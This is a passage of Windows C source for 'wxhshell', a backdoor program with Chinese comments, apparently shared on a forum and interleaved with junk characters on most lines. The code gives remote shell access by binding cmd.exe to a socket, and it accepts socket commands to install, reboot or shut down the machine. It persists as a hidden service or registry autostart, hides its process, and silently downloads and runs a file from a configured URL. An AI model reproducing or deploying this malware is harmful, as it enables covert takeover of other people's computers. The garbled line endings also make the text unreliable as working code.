X.eOw>.  
    switch(cmd[0]) { rm8Ys61\=  
  r3l1I}  
  // 帮助 "lI-/ G  
  case '?': { *M1GVhW(+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :&IHdf0+  
    break; ;=Ma+d#  
  } apo)cR  
  // 安装 n m-  
  case 'i': { {^WK#$]  
    if(Install()) EtKq.<SJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ia5Mr"t  
    else >}+{;d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C/e.BXA  
    break; wJy]Vyd  
    } HwUaaK   
  // 卸载 BJj'91B[d  
  case 'r': { 'D+xs}\  
    if(Uninstall()) CS7b3p!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdPGqJE  
    else oY)eN?c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?UtKu  
    break; k=]e7~!  
    } uNN/o}Qx  
  // 显示 wxhshell 所在路径 Lce,]z\ _  
  case 'p': { GV0\+A"vD  
    char svExeFile[MAX_PATH]; + [w 0;W_  
    strcpy(svExeFile,"\n\r"); UP-eKK'z  
      strcat(svExeFile,ExeFile); WqeWjI.2  
        send(wsh,svExeFile,strlen(svExeFile),0); \ND]x]5d  
    break;  JW D`}  
    } d@ZDIy  
  // 重启 gP% <<yl  
  case 'b': { 2(eO5.FYF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yKML{N1D  
    if(Boot(REBOOT)) QVT0.GzR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $--8%gh dG  
    else { y\FQt];z)  
    closesocket(wsh); ht -'O"d:  
    ExitThread(0); mdc?~??8  
    } YWIA(p8Qkk  
    break; G4|C227EO  
    } C*YQ{Mz(f  
  // 关机 ~VsN\!G  
  case 'd': { mI&3y9; (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NS[Z@@  
    if(Boot(SHUTDOWN)) YEv\!%B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4e#g{,  
    else { b 8@}Jv  
    closesocket(wsh); u>'0Xo9R  
    ExitThread(0); hC$e8t60  
    } g2f"tu_/%  
    break; WL+EpNKSf  
    } #VhdYDbW  
  // 获取shell }9ulHiR  
  case 's': { r*{.|>me  
    CmdShell(wsh); EZj rX>"#  
    closesocket(wsh); C^$E#|E9N  
    ExitThread(0); Ic3a\FTr\  
    break; )a^&7  
  } |E6Thvl$  
  // 退出 9"[,9HN  
  case 'x': { *L<EGFP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (\qf>l+*  
    CloseIt(wsh); ]+G .S-a  
    break; BD"Dzq  
    } K-'uE)  
  // 离开 /R|?v{S1  
  case 'q': { -']Idn6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IfH/~EtX  
    closesocket(wsh); 3XY"s"  
    WSACleanup(); p4uzw  
    exit(1); 13@e mb  
    break; "y8W5R5kL4  
        } hGKQK ^bn  
  } \6AM?}v  
  } ?jmL4V2-f  
<mJ8~  
  // 提示信息 /sYr?b!/<6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e=##X}4zZ  
} iklZ[G%A0  
  } [m! P(o  
wKJ|;o4;L  
  return; _o w7E\70  
} \Ec*Gq?.  
n:a~=^IV  
// shell模块句柄 A pzC  
int CmdShell(SOCKET sock) #)L}{mHLM-  
{ E\}A<r  
STARTUPINFO si; _*z ^PkH  
ZeroMemory(&si,sizeof(si)); OeGLMDw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F^.]g@g.|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U `lp56  
PROCESS_INFORMATION ProcessInfo; B W)@.!C  
char cmdline[]="cmd"; X+{brvM<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y ~-v0/  
  return 0;  "O# V/(  
} i\ uj>;B  
IT#Li  
// 自身启动模式 bR}fj.gP  
int StartFromService(void) `s69p'<;p  
{ "kFNOyj3\  
typedef struct NVQ.;"2w  
{ pSAtn  
  DWORD ExitStatus; ,n%b~.$:v5  
  DWORD PebBaseAddress; ,dd1/zm  
  DWORD AffinityMask; ml2/}}  
  DWORD BasePriority; AP`1hz4].-  
  ULONG UniqueProcessId; ~[F7M{LS  
  ULONG InheritedFromUniqueProcessId; K20Hh7cVJ  
}   PROCESS_BASIC_INFORMATION; P];0,;nF  
r?~_^  
PROCNTQSIP NtQueryInformationProcess; J3'q.Pc  
UFZOu%Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HP7~Zn)c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0`V=x+*,  
0i5S=L`j  
  HANDLE             hProcess; $U/lm;{%  
  PROCESS_BASIC_INFORMATION pbi; *" OlO}o  
*N: $,xf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k&L/Jzz I  
  if(NULL == hInst ) return 0; CL`+\ .  
\FX"A#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Ch ,C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o[RwK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q77qdm q7  
@+nCNXK  
  if (!NtQueryInformationProcess) return 0; ]H{* Z3S  
O46v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0s Jp,4Vv  
  if(!hProcess) return 0; _KtV`bF  
YvuE:ia  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NB44GP1-@  
+BO kHXk1  
  CloseHandle(hProcess); -awG1 4%  
pyX:$j2R+%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FjizPg/|!  
if(hProcess==NULL) return 0; >S0kiGDV{  
/oJ &\pI  
HMODULE hMod; o\><e1P  
char procName[255]; :+w6i_\d5  
unsigned long cbNeeded; 2~QJ]qo=  
db_}][;.c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y~!A"$   
1he5Zevm}  
  CloseHandle(hProcess); v>nBdpjXh  
rtbV*@Z  
if(strstr(procName,"services")) return 1; // 以服务启动 p(="73  
AEx VKy  
  return 0; // 注册表启动 0Ntvd7"`}  
} l1`r%9gr  
@(*A<2;N  
// 主模块 Zl'/Mx g  
int StartWxhshell(LPSTR lpCmdLine) h-O;5.m-P  
{ _ iDVd2X"H  
  SOCKET wsl; R i,_x  
BOOL val=TRUE; (GGosXU-v  
  int port=0; (~bx%  
  struct sockaddr_in door; zN;P_@U  
!;vv-v,LQ  
  if(wscfg.ws_autoins) Install(); 3G<4rH]  
@PLJ)RL  
port=atoi(lpCmdLine); H2Z e\c  
GL-b})yy  
if(port<=0) port=wscfg.ws_port; }CZw'fhVWO  
JC9$"0d7  
  WSADATA data; 5}_=q;sZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tux0}|[^'  
T%FW|jKw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z]tQmV8e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 79}jK"Gc  
  door.sin_family = AF_INET;  Pw +nO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <s\ZqL$ f  
  door.sin_port = htons(port); fE)o-q6Z  
|v : )9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &%@O V:C  
closesocket(wsl); mvTp,^1  
return 1; D:IG;Rsc  
} %K=_  
r_,;[+!  
  if(listen(wsl,2) == INVALID_SOCKET) { S-3hLw&?  
closesocket(wsl); k.c.7%|~;  
return 1; |6^%_kO!|  
} IoK/2Gp  
  Wxhshell(wsl); u^JsKG+,:  
  WSACleanup(); |Ox='.oIb  
L@zhbWY  
return 0; uPYH3<  
q~W:W}z  
} |</)6r  
79d(UG'O  
// 以NT服务方式启动 0WSZhzNyY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %.$7-+:7A  
{ I_->vC|>  
DWORD   status = 0; \weg%a  
  DWORD   specificError = 0xfffffff; [2Nux0g  
Fzt?M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SZ$WC8AX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %OO}0OW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vq{3:QBR  
  serviceStatus.dwWin32ExitCode     = 0; kmt1vV.9  
  serviceStatus.dwServiceSpecificExitCode = 0; :E~rve'  
  serviceStatus.dwCheckPoint       = 0; Za3}:7`Gu  
  serviceStatus.dwWaitHint       = 0; y35~bz^2  
Ov?J"B'F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gOW8 !\V  
  if (hServiceStatusHandle==0) return; m9i/rK_  
4G&dBH  
status = GetLastError(); r@Jy*2[-Jq  
  if (status!=NO_ERROR) n;N79`mZC  
{ Q% d1n*;+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x(eX.>o\  
    serviceStatus.dwCheckPoint       = 0; g; ] '  
    serviceStatus.dwWaitHint       = 0; ykPiZK  
    serviceStatus.dwWin32ExitCode     = status; ;`:YZ+2 Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; p@4GI[4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  fPPP|  
    return; b"N!#&O]  
  } A0k?$ko  
}58MDpOF1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DmLx"%H3  
  serviceStatus.dwCheckPoint       = 0; )rG4Nga5}  
  serviceStatus.dwWaitHint       = 0; flFdoEV.U)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mOn_#2=KF  
} g""GQeR  
 G7a l@  
// 处理NT服务事件,比如:启动、停止 /kkUEo+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9N}\>L)_  
{ Q zaD\^OF  
switch(fdwControl) Im/tU6ybV  
{ %'HDP3  
case SERVICE_CONTROL_STOP: % |D)%|Z  
  serviceStatus.dwWin32ExitCode = 0; #m{*]mY@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g)#{<#*2  
  serviceStatus.dwCheckPoint   = 0; }>0>OqvF  
  serviceStatus.dwWaitHint     = 0; \?^2}K/  
  { #H>{>0q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?[NC}LC  
  } y-1e(:GF  
  return; G!r)N0?_f  
case SERVICE_CONTROL_PAUSE: Ms(xQ[#+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jBw)8~tYm  
  break; v CaN[  
case SERVICE_CONTROL_CONTINUE: YoKyiO!   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SE]5cJ'>  
  break; d-UeItyW*  
case SERVICE_CONTROL_INTERROGATE: '|^:,@8P9  
  break; :V)jm`)#+  
}; LJ(WU)CPc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .="X vVdkp  
} 'Be'!9K*d  
*n? 1C"l  
// 标准应用程序主函数 ' {,xQf*x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NFs5XpZ~  
{ 'RK"/ZhqE  
lZ\8W^  
// 获取操作系统版本 9RaO[j`  
OsIsNt=GetOsVer(); '+cI W(F?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /8h=6"  
// o.+?S  
  // 从命令行安装 $>XeC}"x68  
  if(strpbrk(lpCmdLine,"iI")) Install(); (8JU!lin  
7w/IHML  
  // 下载执行文件 f V. c6  
if(wscfg.ws_downexe) { ~9dpB>+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7Gc{&hp*  
  WinExec(wscfg.ws_filenam,SW_HIDE); G21o @38e  
} 'jtC#:ePK  
Cl}nP UoL  
if(!OsIsNt) { 1PkCWRpR  
// 如果时win9x,隐藏进程并且设置为注册表启动 +T+@g8S  
HideProc(); ;Ba%aaHl  
StartWxhshell(lpCmdLine); qos7u91z  
} m|@H`=`d  
else /8cRPB.  
  if(StartFromService()) 9t"Rw ns  
  // 以服务方式启动 t;&XIG~  
  StartServiceCtrlDispatcher(DispatchTable); 'YNaLZ20  
else ]k0 jmE  
  // 普通方式启动 @X2*O9  
  StartWxhshell(lpCmdLine); Ux [<g%F"  
\*xB<mq  
return 0; Kx__&a  
}
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只看该作者 1 发表于: 2006-10-10
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